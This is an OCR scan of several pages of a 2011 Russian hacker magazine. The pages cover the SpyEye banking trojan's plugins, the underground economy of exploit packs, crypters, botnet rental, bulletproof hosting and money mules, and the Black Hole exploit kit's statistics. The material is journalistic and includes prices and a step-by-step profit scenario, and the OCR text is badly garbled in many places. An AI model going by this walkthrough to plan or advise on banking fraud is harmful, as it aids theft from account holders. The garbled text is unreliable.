ХАКЕР 10 / 153/ 2011

FTP BackConnect. Плагин поднимает ПР-сервер на боте и nредоставляет доступ к немучерез BackConпect-cepвep. В

главной п а н ели управления имеется интерфейс, позволяю­

щий отображать список FТР-серверов.

RDP BackConnect. Плагин поднимает RDP-cepвep и прокидываетего до BackCoпnect- cepвepa. Также плагин реа­

лизует создание сокрытого пользователя, который и нужен

для удаленного использования П К по протоколу RDP. Еще в

нем предусмотрена панельуправления для запуска любого

п роцесса от любого пользователя в системе !чтобы можно

было создавать процессы от имени оригинального пользо­

вателя!. И еще встроена РогtаЫе-версия TotaiCommaпdeг'a,

загружаемого и з интернетаи за пускаемого прямо из памяти

!без сохранения на диск!.

Плагину не нужна перезагрузка ОС для работы .

Плагин включается через главную панельуправления .

Сnисок б ото в можно увидеть в соответствующем пункте меню

IRDPI. Подключаться к ботам можно через ста ндартное П О ОС Windows <<mstsc.exe >> Remote Desktop Conпectioп .

Минусытекущей версии плаги н а:

нет поддержки х64-систем;

плагину нужны права администратора для работы;

не поддерживается Win7 Staгteг !именно Staгteгl;

кроме того, есть плагины для разработчиков и отладки!

ЗАКЛЮЧЕНИЕ После ознакомления с этим зверьком и егодокументацией

становится понятно , что п еред нами - полноценный про ­

граммный продукт, хоть и пр едназначенный для совершения

nротивозаконныхдействий.Компьютернаяпреступность

переходитнановыйуровень своегоразвития.И спользуемые

инструментыисредства,разделениеобязанностей,сра­

щивание с организованными преступными группами- всё

зто пугающие тенденции . Уже существуют целые индустрии

по написанию вирусов, предоставления ботнетов в аренду,

продаже трафика для заражения и установки б ото в . Функ­

ционал SpyEye поражает, а наличие nодобнойтехнической

документа цииговорито профессионализмее горазработчи­

ков- неудивительно, что мы наблюдаем колос сальный рост

числа мошенничества с системами ДБО. Стоимость SpyEye на

черном рынке колеблется в районе десяткатысяч долларов

за версию с полным набором модулей . Учитывая сверх­

рентабельность преступной деятельности, которую можно

осуществлять с е го помощью, зто еще не много . :J:

------~-----------

----- ------------ ----

Clear cooki.,- every startup (IE, FF):

Delete noro-export~Ы• certific01tes:

Oont send http·reports •

Compгess b\.llfd Ьу UPX v3.07w:

Make UП·conflg (witltout -blttjкts, p/Uf}il'!s & scrнn.Jtot:s) :

Spy Еуе ... э lli!djf•hh99399gh4rhaГ.hdsfoh

г р

г

г

г

Глаз зла

а

А воттак создаются

самиботы

f! A•6-JШs!od • P 8 FF "-'blnj.cts: f;i

: lsystemS.rvice

081

Page 81: Хакер №10 (октябрь 2011)

MALWARE

КАК И СКОЛЬКО ЗАРАБАТЫВАЮТ НАШ КРИМИНАЛЬНЫЕ КОЛЛЕГИ?

Page 82: Хакер №10 (октябрь 2011)

ЭВОЛЮЦИЯ ГРАБЕЖА В начале 2000 -х гг. ба нкитолько начинал идумать о своей

онлайновой безопасности, а хакеры-атом, как многоде н ег

оттуда можно увести. Несознательные одиночки находили

уязвимости в системах за щиты финансовых онлайн-операций

того или иного банка, уводили базу карточек и выставляли ее

н а продажу в открытом виде . Н а н е особо-то засекреченных

форумах можно былоспокой н о прочитать именатех н есчаст­

ных,укоторыхувелибанковскиереквизиты,иуз натьдругие

интимные подробности. Профессиональные кардеры или

простодурачки радостно скупалитакого рода информацию,

быстренько печатали нужный пластик lто естьлевую карточку

с правильной информацией о деньгах) и шли за пасаться в

ближайший банк . Болееумные пластика не печатали, а за­

купались вонлайн -магази н ах.

Однако халяву начали быстр о прикрывать: стало появ­

ляться все больше антивирусных решений, которые стали

попадать не только к юзе рам, но в и банки. А последние,

кроме того, с тали ужесточ атьдоступ к с воим данным, то

естьвзломать банксталогораздо сложнее .П риэтомпо­

лиция начала обращать все больше внимания на подоб ные

крими нальны е активности, что привело к том у, что «закуп

п о п ол н ой>> на очередном хаке реком форуме мог обер нуть­

ся встречей с пр едставителями зако на , играющими роль

продавцов . На этой волне по степенно стал формироватьс я

более развитый рынок, со своей спецификой и спе циализа­

ци ейнабанковских троя нах .

Конечно, никуда не делись изначальные подходы типа

скимминга, ту п о го взлома банкоматов и проче го, но в се это ,

по сути , грубо и неаккуратно, н е говоря уже ото м, что хло­

п отно, как быстро поняли парни, которые нашли 1001 с п особ

увести всю нужную информацию с ком па пользователя . Со­

гласн о стати стике от <<Лабо ратории Каспере кого>>, которая

внимательноизучаетлюбителей«поломать»банки,за2010

г. ее аналитики добав или бол ее 60тыс . си гнату р с в ердиктом

Тгоjап-Sру. Остальныеданные ты можешь посмотреть на

соответствующем графике, но налицотот факт, что малвари

пишут все больше и больше, и выш еупомянутый вердикт

превалирует.

Отчего? Оттого, чтозлоумышленники поняли , что пусть

лучше соб ирается вся информация, а там посмотрим, как ею

вос пользоваться. Собирать тол ько банковские дан ные через

банальный фишинг, электронную корреспонденцию от банков

в ключе << мы тут решили обновиться, подтвердите данны е

счета >> и прочиелохатроны в какой-то момент стало н е модно.

Urist

ПO,._JOBi'llfПII

1 coo6щe1111ii

ХАКЕР 10 /153/20 11

0Тт1p.i811fti!0 25 ~~fth1011 03 01

Наnисан на асме .

21С00тt)8 .

40% в сети держитtя стандартно

оотнет- саежмй .

Цена: 200$

Работаем через rарантз .

Имеем отзыаы .

ОМата только LR или Альфа.

Ботнет можно настроить какдля DDoS, так и для заливов и лоадов .

ICO: 394-867-702

двn:.вм a:arpy•w no USA, AU, DE, rт. UK. RU 11 СНГ.

Цвмw •а 1000 a:arpy•o•: USA •100$

AU• 83$ DE •120S rт •7os

UK• 88$ RU•SOS

стр:амw снг • &О$

Баблона малвари

Абу зоуе~ойчивый VPS Абузоусtоичивый се 1>вер в Китае

4f''i!ii' *!!lllbl"3"5§* ....

*ЧЩМ'Ь§ MfiiW!Q

с.-.-·, , __ _"" о , ·~'""' wP8••• o l'to)Jie•eto/lllбoiO..,......,.

- ~·_,-­. .... ~eor.~

. ь.n.-т....,;Т'Р8Q108.

ЕМС'

• CPU: l'"'el c-2Qv8d Q8200 · ~: 4CO.ВDORa 0 HDD: noGB SATA • LAN: 100МЬ/1 •noo6..oc • n ...... ~ l5P ""'naoer - &ЕСПААТНО Любая деятельность paэpt~weнi!l PaccwniCil бu nрокем/соксов paspeweнa

·----....... ..,.. .. ус-и• nом..,._.. 1\'0I<Тwrto~

~~'t'le200З-Z011

а Конечно, куча киберп реступни ков продолжаютэто делать,

но эффективность подхода не стольвы сока. Результативны е

удары получа ются редко, при этом ум ные не годяи увидел и,

как можно сделать больш е и лучше.

В Китае, как видишь,

можно хостить все

что угодно. И при этомоченьдешево

ОТЛАЖЕННЫЙ МЕХАНИЗМ Таким образом, в бизнес стали потихоньку приходить инди­

видуумы с мозгами, которые были готовы рулить денежны ми

потоками , н о н е умели писать малварь . В частности , под и х

влиянием рынок стал специализироваться , поделившись на

различные гру ппы, о которых мы дальше по говорим.

Начнем с создателей малвари -тех людей, которые

лучше всехдержат руку н а пульсе. Вся их деятельность

напоминает производствен ны й ци кл любого п рограммнога

продукта: изуче ни е рынка, создани е качественного функ­

ционал а, борьба с конкурентами . Те, кто стоит за созда ни ем

экс плоит-паков и су ровой малвари типа SpyEye и Zeus'a,

тщательно докуме нтируют изменения, быстренько вносят

коррективывкод,кактолькоихначинаетдетектировать

тот или иной антивирусный вендор, даже добавляют в свою

малварь мини-антивирусы, вытирая тем самым наи более

зло стны х ко н курентов . Причем делают о н и это н е хуже за ­

прав ского антивируса. Также стоитупомянуть, что хакеры ­

ал ьтруисты взламы ва ют дорогие творения своих собратьев

и выкладывают на форум ы п росто так . Тот же Zeus, SpyEye

и прочие известные в узких кру гах тулзы можно спокойно

скачать в крякнутом виде.

Такчтосоздателямтакихтрояновприходитсябороться

еще и с таким видом нападок, все время улучшая своитво ­

рения и выдумывая новые с р едства защиты . На ум приходит

а налогия с китайцами, которые н ещадно копируютайфоны и

а

Дешевенький ботнет! Никому не надо?

ГЕНИИ-ПРОГРАММИСТЫ ИЛИ ПИШУТ

МАЛВАРЬНАЗАКАЗ,ИЛИСОЗДАЮТ

ЧТО-ТО КРУТОЕ САМИ С НУЛЯ

И НАЧИНАЮТ ПРОДАВАТЬ

083

Page 83: Хакер №10 (октябрь 2011)

MALWARE

Привет sсен . Провожу т есты срмnтора. nоэт011у беататно «:риnтану ваwн файnы

Гpynnat n.."...,o•.-r•n• Coo6щe>iмl< t 107

Крнnтор не VВд

Крнnтую OU/EXE

Реrио:тр8 11 ,...,, ое.о2. 2010 Ест ~о nоддержка ТLS nо .. мо••т•"• "'' 29 040 Крнnтую гибридные 110дулн, eaw ехе 11eн.яettfl на дм, а так же на оборот А•~т.,.•носn' ~ Добавляю вашу иконку или генерирую свои .

Penyтau. .. ~ t 17 ( 2-. · xopowo) Стуч1111 не стесняеМС~~ .

ICQ 515011 Jabber porir. y36Sc;.thesecure .Ыz

31.03.2011 , 1 ~: 33

Пофнtесн.nи.

Все отnнчно отсту~tивает н не nan•щo

Гpynn fltt ПOIIo..I08fltT8JIO

Соо6ще .... tо , 17:S Реnоарачн• : 30. 12. 2'010 Поn~о2о1атtя• rrt : Э:S 307 ДfltltТeii.HOC'Ilo t~

Р8П'f1'8 11и• : 9

( 111.- xop o wo)

отлнчно IСРиnтануn , нуnевой детеr.т ,

Все , оtтора6отеетnо РуиСНГ, nоосннне nонеще., .. е !

а

Как видишь по отзывам, крипт

действительно помогает достичь nо­

ставленных гнусных

целей

прочие модныедевайсы, тем самым подрывая бизнес больших

и успешных контор.

Очевидно, чтотакие программеры стоят гораздо больше

типичногоаналитика в антивирусной компании, причем в пря­

мом смысле. Согласно рассказамнехороших пар ней , которые

создают реальныетроя ны и эксплоит-паки, их недельный за­

работок больше, чем месячный утипичноготоп-менеджера в

западной компании . Такиелюди никогда не перейдут работать

в нормальную компаниюдаже руководителями разработки:

разве чтотолько по сле того , как станут миллионерами . И есте­

ственно, с тем чтобы не светиться вдальнейшем. а

С качать SpyEye может любой, кто в

состоянии забить

поисковый запрос в Google

Гении-программисты или пишут малварь на заказ, или

создают что-то крутое сами с н уля и начинают продават ь.

Делают они это п о-прежнему через тематические форумы,

только попас т ь на них теперь н е много сложнее . Как прави-

Просмотр nолноМ версии : ~

Pantiflck

Spyf ye .1.1.39 . Spyfyt .l.l .SO

u.-• (http:/t-.s.nctsp- .COI'I'Y'fole/nNo>

1(-.;кряоr;н"f'Т\t ? 1361'1yacaei!Spyfyt.8Jit(t....,ttит0Uttt6кa} 236/'lya:eell Spyf yePtlth..t Jie (окi'ОО е о.нбкоN"' seкp.п~tn.)

1 3.Лept)611Jac•eнSpyEye .tJit

l t "GPICPIIK8ZerQf1tg

infect

01WI с exploot.in? бе} o::onnenope он fМ'IUO ..е стоит.

Sltht

http :l/vuk\es .c:om/~<id.phpJ't-861 • fJТ 0::01У>К10Р Н MO::Ofepw8 IМIAJIIOI

Pantifick

i 6tJ0::0Мfi(ТOP80Нtltl'lerOit8CТOI1Т ,

- -·- -- -

1 Аа 11 ero tPOll.t бы 01 ..е nродаю)) Ko.nnetCТOp, к..:"" у:«е скаs"'" нiiЙТIIItf nРОбnем. --- -- -------

1aefon

1 М0AJtl01 Allll SpyEye . Сnнсоо::ою.ау11еА :

cc:gr.ьtlff

"""" ftpNd!COtW!ect usbspreьd cnditgr..Ьbet" b~~ngMmme

l bugreport

j 11afon hlt ОАНМ 4j)Хке SpyEyt:

· SpyEye v1.0 .1 · (8uildet',o.t.Ь..Нe, ,onncyaЬ .t,ссеи Р-1 ... ) -Spyfyev1.0 .9 -(&ui1681'",WtbPanti, Colltctor .. . ) · SpyEytv1.1.Э9[Crtcktdby AEO) · (Cr..:ked&uilder) · Spyfye v 1.2.SO [Credted Ьу Zt~) · (&uilder + P.tch) ·Spyf yev1.2.60[CredrtdbyAED) · (euilder + Patc:h)

081.

л о, нужны рекомендации или инвайты от старожилов . Мо­

дераторы форумов зачастуютакже играют роль гарантов,

тоестьпосредников,которыеотвечаютзат~чт~заказав

малварьу Васи, ты не просто выкинешь деньги, а п олучи шь

то, что обещает Ва с я.

Отдельные индивидуумы занимаются созданием ботне­

тов . Их можно арендоватьдля DdoS'a, для дальнейше го раз­

вития и сбора данны х с юзе ров, для последующей продажи ,

для организации анонимных прокси-сер веров и т. п .

Отдельно заточенные товарищи занимаются пои ском

уяз вимастей во всем и вся. Это самая безо па сная работа. Ты

наверняка знаешьлегитимные ресурсы, которые предлага­

ют тебе делиться найденными уязвимастями за бес платно

или за мелкую денежку ради мира на земле.

Но не все же такие альтруисты, особенно приусловии того,

что создатели эксплоит-паков могутзаплатить за найденную

уязвимость несколькодесятковтысяч баксов, если речь идет

об Оdау-находке в самой популяр ной версии Windows'a.

На ко н е ц, мы добрали сьдо тех, кто, собственно, за­

казывает ве сь банкет- преступ ников, которые фильтруют

тонны украденной информации и выставляют ее на продажу

в с пециали з ированны х магазинах !см . соответствующий

скриншот).

Это дилеры, которые предлагают конечным потребите­

лям -другим прес т упн икам, -досту п к живым деньгам.

Н у то есть практически живым. Пол учить досту п к таким

магазинам с л ож но: надо быть в т усо вке, регулярно за­

купаться на большие суммы . Правда , и предоставляемый

се рвис на высоте: купить можно все что угодно . Мы уже

в скользь упомянули о том, что крадут все : н омера банков­

с ких картспинами и банковские счета -товар, которым

никого н е удивить и который в с вете активизации киберпо­

лиции довольно небезаnасен для об налички. Правда , есть

возможность заказать карточку определенного банка,

определенного типа, нуж ной страны , что в ряде случае в

приводит к с ильном у снижению градуса опасности !ты, например, с лышал о киберполиции Лао са?). Н а зака з пр о­

давецдостанет все чт о у годно . Цены демократичные -1 О

% от доступн ой налички.

Кроме того , можно купитьлюбые платные аккаунты-на

рапидшару, в Ж Ж, скай п и проче е. На виртуальных полках

лежат украденные лицензии для софта , включая, что са мое

смешн ое, антивирусы !см . скриншот ) , парали илогины к FТР­

серверам !будет где похостить командный центр ботнета) . Впоследнее времяпопулярностьнабираетпродажа

личности , то естьукраденныхданных о паспортах, прописке,

PASSNIТclиe.COII

----------- -- ----- - --- - --------- - -

Новый паспорт, да еще с бесплатной доставкой?! В мнететакогодобра хватает

ХАКЕР 10 / 153/2011

Page 84: Хакер №10 (октябрь 2011)

Тlowo: ..,... ,, . .. ... .... :

07<1:"" .... " . ........ lCi~(l99t,Z..,oro)

Ехр-штука довольно известная и довольнолегкодоступная

месте жительства, номерах страховок и прочее. Ты не по­

вериш ь, но огромное числотупых юзеров сканируют паспорт,

кредитки, пенеионное страхование, ИН Н и прочие документы

и оставляютэти сканы на винте. А потом реальные преступ­

ники, получив сканы, выкачанныетем же Zeus'oм, радостно

делаюте этого хозяйства клоны, конечно же, с фоткой заказ ­

чика. Для ряда стран их можнодаже зарегить в базе полиции!

Так что стать гражданином Америки !ну или п о крайней мере

въехать туда на ПМЖ I можно за какие-то 1 000долла р ов.

При этом понятно, как удобно все зто в рамках масштаб­

ной операции: некий Вася под именем Джана Смита въез ­

жает в стра н у, уводи т миллион баксов со взломанно го с ч ета,

на который эти деньги перевели с другого счета, и спокойно

уезжаетдомой . Полицияприезжаеткнивчемне повинному

лош куСмиту, пас п о рт которо гоукрали и аккаун т кото р о го

был взломан, и начинаетставить его в очень неудобное поло­

жение . При этом найти концы Васи практически нереально .

В общем, какты уже понял, всеудоб н о и п о ролям. Если ты

не годяй и тебе хочется испытать судьбу, ты можеш ь выбрать

еще и профессию мула, и сам купить ворованных карточек,

ипойтисниматьнали ч куиликупитьнаних 1 00айфонови

заказать их себе домой. Без муло в, собств е н но, никуда, в том

случае если п реступник хочет получить реальные деньги.

Длятого чтобы тебе стало п о н ятно, как все эт и винтики

образуют отлажен н ый механ изм, давай рассмотр и м путь к

легкимденьгам от начала до конца, так, какесли бы некий

злоумышленник решил непри нужден нообогатиться, вос­

пол ьзовавшисьсвободойибла гамиинтерн ета.

HOWTO NOTTO 00 Сразу о говоримся, что в се рас п исано прибл изител ьн о, с о п ре ­

деленными допущениями и в рамкахузкого сценария. Знатоки

дела la нас наверняка полистываютитакиеl могут поспорить и

найти кучу неточ н остей, но повторюсь: главны й см ысл-дать

пон ять, как вседовольнолегко и прибыльно.

Дляначалакиберпреступникивыбираютжертв~или

од ну, или очень м н ого. От это го зависит, какони собираются

обогащаться : быстрозаодинразилипосте пеннозасчет

большого числа юзеров. Как следствие, меняется и тип атаки:

таргетированная или ковровое бомбометание. В случаетар ­

гетированной атаки информация собирается, как п равило, с

социальных сетей, при массовом подходе это не столь важно.

Дальше надо решить технические моме нты, то ест ь как

будет добыта информа ция от незадачл иво го юзера. Для н а­

чала берется так называемый пуленепробиваемый хостинг.

Винтернетенатематическихфорумахпредложенийхоть

отбавляй. Для по н има ни я: хаетеру все равно, что вы там х р а­

н ите на серверах, при этом он не будетсдавать вас полиции.

ХАКЕР 10/153/2011

Чтобы у него самого не было проблем с законом, серверы

размещаются в странах с тепл ым, приятным климатом,

большим количеством диких обезьян и законами, которые

неприветствуютвторжениеиностранныхспецслужбна

сувереннуютерриторию страны и плохо о п исы вают, что же

такое кибепреступность , кража денежек и п рочих п рият н ых

вещей через интернет. Стоит ли говорить, что полиция таких

стран, как правило, н е особо говорит по-английски и не осо­

бо пол ьзуется электронной почтой.

Пуленепробиваемый lабузоустойчивыйl хостинг- са ­

мая дорогая вещь в типичном криминальном мероприятии.

В среднем он обойдется в 500 американских долларов в ме­

сяц . Можно дороже, можно дешевле . В целом на успешный

сбор информации, растянутый во времени, надозаклады­

ватьнесколькотысяч долларов.

Далее в случае массовой атаки la они более распростра­

нены в целях наживы и при нежелании потомдолго сидеть

з тюрьме! берется какой- н ибуд ь свеже н ький эксплоит-пак

!он же «к раймвар-пак >> J , который ставится на этот самый хо­

стинг. Можнодаже сразу купить все готовое, предустанов­

ленное. Н ет только п ейлоад а, то есть мал вари, с помощью

которой и утекут данные. Эксплоит-паки , кстати, можно

достатьдаже бесплатно . Но если ты хочешь, чтобы в них

были свежие уязвимости, а это довольно часто залогуспеха,

топридетсяза платить.Около1300-1500баксов.

В киберпреступники совсем дебилов не берут, так что

очевидно, что злоумышленник понимает, что на компе

жертвы стоит какой- н ибудь антивирус. П оэтому, разра­

батывая малварь и криптуя уже имеющуюся , коварный

гаденыш должен прогнать результат через антивирусный

мультиска н ер. Н ай т и такое добро в и нтернете в различных

реализациях не составляет труда : это может быть облачное

решение, может бытьлокальный софт, можно заплатить за

это дене г, а можн о воспользоваться уже заранее украден­

ным !Напомним, что тот же вирустотал - ресурс , данные

скоторогоутекаютвантивирусныекомпании,поэтому

приватную малвар ь н а нем не тес тят. - П рим. ред . l . Е с л и

хочетсягарантий,тообычно платятоколо500баксов .

Чтобы написать или закриптовать уникальную мал­

варь, придется выложить еще баксов 800. Зато, как зто н и

п ечально для производителей антивирусов, ни один из

них ее, скорее всего, не поймает в течение как минимум

Баблона малвари

а

Хочешьподелиться найденны м э кс­плоито м? Этолишь один из вариантов ,

где можнооставить

информацию

085

Page 85: Хакер №10 (октябрь 2011)

MALWARE

Мулов ищут в том банке, аккаунты которого чистят.

МАЛВАРЬНАПИСАНА,ХОСТИНГ

ЕСТЬ, ОСТАЕТСЯ ВОПРОС

РАСПРОСТРАНЕНИЯ

Или могут попросить открыть аккаунт. При этом мул п о­

лучает 10-15% от снимаемой суммы . Что он делает потом?

Отправляет денежки любой платежной системой типа

Westeгп Unioп Саше Кузнецову ! это , как ни странно, самые

рас п ространенные имя и фамилия для России] из своей

гнилой Америки в какую-нибудь раэвивающуюся страну

типа России. Искать потом Сашу-занятие бесполезное,

не говоря уже о том, что Саша может купитьлевый паспорт в

переходе и получить все на него.

а

пары дней, а этого достаточно, чтобы выкачать с жертв

все самое интересное.

Итак, малварь написана , хостинг, куда планируется

собиратьданные о кредитках и банковских счетах, есть,

остаетсявопросраспространения . Нетпроблем!Арендуем

ботнет. Цены эависятотто го, известен ли он уже производи­

телям антивирусных решений или нет, какие ты получишь

над ним права, сколько машин гарантировано в онлайне и

прочее. Ориентировка для начала- всего 200 баксов, но это, конечно, минимум .

Если киберпреступник особо умный, то после п окупки

ботнета он его модифицирует- криптует протокол переда­

чи данных, меняет что-то еще. Таким образом он обезопасит

себя от к идалова со стороны продавца ботнета. Это будет

стоить еще несколько сотен баксов у уже прикормленных

программистов . Ботнетувяэываетсясэксплоит-паком ,

и понеслась : данные начинают валиться на преступный

сервер. Возникаетсамый главный вопрос: какобналичить

деньги? Очевидно, что п еревод на взломанные счета ничего

не дает : это все элементарно прослеживается. П оэтому пре­

ступники предпочитают снимать де ньги через мулов. Их с

самого начала разбойного плана начи нают искать по и нету,

как правило, п од видом рекламки: <<Хочешь 1000 баксов в час? Тыкай в баннер!>>. Наверняка ты видел кучутаких

баннеров в интернете , причем зачастую на вполне себе

респектабельныхсайтах.

Кто-то из денежных осликов понимает, что делает, кто­

то- нет. Ведь если преступники подходят к делу с умом,

Что наш незаконопослушный Са шок имеет на выходе? Все

зависитотегожадности. Если у тебя хорошо с арифметикой,

ты уже посчитал, что начальные вложения обойдутся минимум

в 6000-7000долларов. Допустим, ботнетокучил 1000 юзе ров, хотя в реальности их, конечно, будет больше . Те же американ­

цы хоть парутысяч зеленых на карточке, да имеют. Умножаем

юзеров на деньги, отнимаем 10-15 % на мулов, получаем пусть даже 500 ОООдолларов чистога ном . Покрывает7000? Мне

кажется, вполне. При этом, повторимся, не стоит забывать,

что киберпреступнику, который решил все это провернуть, н е

надо быть ни кодером, ни админом, вообще не надо обладать

какими-то реальны ми техническими зна ниями .

МАСШТАБ ТРАГЕДИИ Как результат- не удивительно, почему СМИ по всему миру,

а в Америке в частности , очень регулярно рапортуюта много ­

миллионныхубыткахсосторонычастныхпользователей

и компаний. Одна только старушка Англия отрапортовала ,

что ущерб от киберпреступности в стране оценивается в 27 млрд фунтов в год. Почемутак прои сходит? Пробуют многие,

а ловят не все х. Законы большинства стра н на ходятся в

таком состоянии , что по ним осудить преступника можно или

условн о, или всего на пару лет. При этом никто не требует

вернутьвсехукраденныхдене~потомучтониктонезнае~

сколько их вообще было украдено . Морально и этически

совершить преступление в интернете проще: ты не видишь

жертву в лицо, при этом многие хакеры любятиграть роль

Рабин Гудов- наказывать, скажем, богатых америкосов на

жадность и принципиально, например, не атаковатьжителей

родной страны !Хм ... а я слышал , что это потом у, что в родной

стране за это иногда отрезают пальцы . -При м. ред.].

Любой банк на выбор и все в количестве

они составляюттрудовой договор , по которому работник

простодолжен сниматьденьги в банках. Когда потом мула

ловят-а ловят их почти всегда, -те могутуйти в несознанку

и говорить: << Ну позвольте, я же работалl Я и не знал, что это

незаконно! Вот у меня договор! Что вы говорите? Деньги во­

ровали?! Вотсволочи! Я готов помочь вам, ребята! Я с вами!

Накажем злодеев, только вот я о них ничего не знаю, все

общение было по электронной почте >>. Такая ситуация очень

типична , например, в Латинской Америке. Там вообще людей

принято после первого раза прощать: ну не хотел человек

плохого, бес попутал . Что же, сразу в тюрьму сажать?!

Не хватает и мировой киберполиции-если в последние

годы она хоть где-то стала появляться, то над взаимодей­

ствием подразделений по всему миру междусобой еще ра ­

ботать и работать. При этом часть вопросов не будет решена

ни когда из -за общеполитических препятствий : как известно

из хорошего фильма << После прочтения сжечь>>, у США нет

экстрадиции с Венесуэлой.::J:

1

50$ F or 500$ Balance

Bank of America.

~ ~-•SJ)$tF.~r~soo.$~al_!ln.c~

Warrtanty : 3 Clay Мах buy:3

Min buy: 1 ln Stock : 13

,1

Buy With 8alance

500$ 1000$ 1500$ 2000$ 3000$ Balance

086

50$ For 500$ Balance

cffibank I L50.$tF.o.r (.S90.$LBa~n.c~

Warrtanty: 3 Clay Мах buy : 30

Mln buy: 5 ln Stock : 42

Buy With 8alance

500$ 1000$ 1500$ 2000$ 3000$ Balance

50$ For 500$ Balance

НSВСФ ! •SO,$tF.or•S.OO.$lBalitn.c.e

Warrtanty : 3 Clay Мах buy : 30

Minbuy : 5 ln stock : 42

Buy With 8alance

5005 1 ooos 1500$ 2000$ 3000$ Balance

50$ For 500$ Balance

Warrtanty: 3 Clay Мах buy: 30

Min buy : 5 ln Stock : 42

Вuу With 8alance

500$ 1 ooos 1500$ 2000$ 3000$ Balance

ХАКЕР 10/153/2 011

Page 86: Хакер №10 (октябрь 2011)

Сплоит-пак Сплоит-паки служат для массового

заражения посетитетей сайтов

· через уязвимости в браузерах. Набор

эксплоитов Black Hole от русского парня Раuпсhпоявилсячутьбольшегоданазад

и уже успел наделать много шума .

ЧТО ЭТО ТАКОЕ?

0 8(ackho(e 1' СТАН1l111Кд IIOTOKI1 ФАЙЛЫ Ы ЗОnАСНОСТЬ НАСТРОЙКИ §;>!<!.~

начало: L;] Конец: L.1 l·iiii!ФI!.'i Автообновпение: never [i] ,,

СfАТИСТИКА эксплоиты ЗАГРУЗКИ 'Мit - t:"

• JAVA SКYUNE > 15511 35.08 -ЗА ВЕСЬ ПЕРИОД 7.44о/о • Jav~oeE > 12019 27.18 631652 хиты С 590758 хосты - 43979 ЗАГРУЗКИ ПРОБИВ

• PDF LIВ'ПFF > 6452 14.59 -

• Jav~ ТRUSТ > 6112 13.82

ЗА СЕГОДНЯ 6.22% • PDFALL > 2449 5.54

31989 ХИТЫ r- 31837 хосты 1979 ЗАГРУЗКИ - ПРОБИВ • Jav~SМВ > 1677 3.79

6РАУЗЕРЫ ! ХИТЫ хосты ЗАГРУЗКИ '"' - "'

ос ХИТЫ хосты ЗАГРУ3КМt'М> Chrome > 30921 28253 99 0.35 .

WindowsXP 162018 151858 16442 10.83 Firefox > 33138 28928 3432 11.86 .

Wr1dowsVIS121 152984 14'1606 14254 9.86 fJ MSIE > 552947 521683 39450 7.56

fJ Wondows7 315214 294900 13188 4.47 . • Мozila ) 79 43 8 18.60

!1. WIПdows 2003 839 768 122 15.89 -О Oper~ > 13450 11989 913 7.62

911 Windows 2000 5.14 . S..~ > 1027 831 98 11.79

ЗОб 292 15

911 WIПdows 98 161 156 8 5.13 . СТРАНЫ ХИТЫ ХОСТЫ t ЗАГРУЗКИ '"' ~ WIПdows 1'П 31 29 о 0.00

SJI!WindowsМE !i§ tJnl<!d 5121\<!s 298355 277091 16819 6.07

12 12 о 0.00

l\Unux ~ tnted IOngdom 126398 119465 7597 6.36 13 о о . оо-

1!1 can~ 64149 58333 4020 6.89

:с Spain 30086 29626 3791 12.80 . потоки ХИТЫ t хосты ЗАГРУЗКИ '"' - " defaut , 551452 512616 32753 6.39

11!1111 AustrМa 26593 24886 1278 5.14

119 > 80114 78708 11268 14.32 1 1 Irotand 14427 13962 2109 15.11

а switzorland 13385 12668 1096 8.65 .

: NetherWxis 11778 11519 1916 16.63 -

D Сплоит-пак ведетподробную стати- D Выбор нагрузокосновывается на таких

==~ 10616 9608 997 10.38 с тику работы: учитываются общая по- критериях, как ОС, версия браузера , се щаемость, количество заражений, страна происхождения, реферер веб-

:!;; Norw~y 7679 7067 791 11.19 . эффективность отдельных эксплоитов сайта и даже время захода . и ст.руктуратрафика. = Egypt 4989 4900 944 19.27 -

о В отличие от конкурентов Black Hole

D Все блоки сданными представляют со - имеетсистему лицензий . Один год и с- -е Finlond 5084 4626 598 12.93 бой настраиваемые виджеты , которые пользования стоит$1500, а лицензия можно подключать/отключать, а на полгода и квартал-$1000 и$ 700. • New Ze~land 4215 3941 435 11.04 также менять их месторасположение.

D В мае BlackHole Exploit Kit версии 1.0.2 Е§:! Вrozil 2734 2715 323 11.90

El Black Hole в основном использует утек в паблик,линкдля ее загрузки распространенные и публично до- опубликовал ресурс thehackeгпews . • Qatar 2411 2278 208 9.13 ступныесплоиты. При этом онидают com. Это произошлочерез 2 недели внушительный процент проб ива. после публикации сорцов ZeuS. Друrое 8699 8025 1054 13.13

в Важной функцией является изо - [J За использование сплоитпака по щренный с крипт для направления назначению можно получить до 7 лет

мч;;;чщ;р трафика ITDSI, который используется лишения свободы, соглас но статье для направления пользователей к 273УКРФ. определенным нагрузкам .

ХАКЕР 10 /153/20 11 087

Page 87: Хакер №10 (октябрь 2011)

СЦЕНА

088 ХАКЕР 10/153/2011

Page 88: Хакер №10 (октябрь 2011)

Мария «Mifrill» Нефедова lmifrilltagameland.rul

Ни в одной другой сфере, по­

жалуй, нет столько возможно­

стей для старта, как в области

информационных технологий .

Здесь речьдаже не о возмож­

ности сделать феноменальную

карьеру, работая в известных

компаниях. Нет! Это та сфера,

где компанию можешь создать

ты сам. Довести простую идею

до работающего прототипа,

прототип до коммерческого

продукта, а продукт до рабо­

тающего бизнеса. И этот путь

можно пройти всего за не­

сколько месяцев!

ХАКЕР 10/153/2011

О РОССИЙСКОЙ СТАРТАП-СЦЕНЕ

апримерамиуспехадалекоходитьне

нужно: Facebook и Марк Цукерберг,

Amazon и Джефф Безос, Twitteг и Джек

Дорсиа. Все эти компании некогда начинали едва

ли не в гараже, с кодом, написанном буквально

<<на коленке». Теперь же они превратились в

огромные бизнесы с умопомрачительной капи­

тализацией.

Сегодня, когда новые сервисы появляются, как

грибы послетермоядерного дождя, слово <<стар ­

таn», особенно в российской действительности,

себя сильно дискредитировало. И действительно,

когда ты видишь, что 90 проектов из 100 ничего из себя не представляют, ты можешь подумать,

что все эти начинания- полная профанация . Но

это обманчиво. На Западе начинающих предпри­

нимателей хвалят и за совершённые ошибки,

ведь даже ошибка-это опыт. В этой статье мы не

будем рассказывать тебе атом, чтотакое стартап и

какдобитьсяуспеха.Едвалиэтоунасполучилось

бы лучше, чем, к примеру, в книге <<Старта т> Гая

Кавасаки, одного из первых работниковАррlе и

известноговенчурногоинвестора Силиконовой

долины. Но мы хотим помочь тебе правильно сде­

латьтусамуюпопыткусоздатьпроекъкоторый

попадет в критерий <<один из десяти ». Как найти

Стартапы, деньги и успех

единомышленников, которые готовы с головой

окунуться в проект и не останавливаться, пока не

появится сначала прототип, а потом работающий

бизнес? Как выйти на консульта нтов-менторов,

которые помогутсделатьтебе нечто, не только

интересное, но еще и способное завоевывать

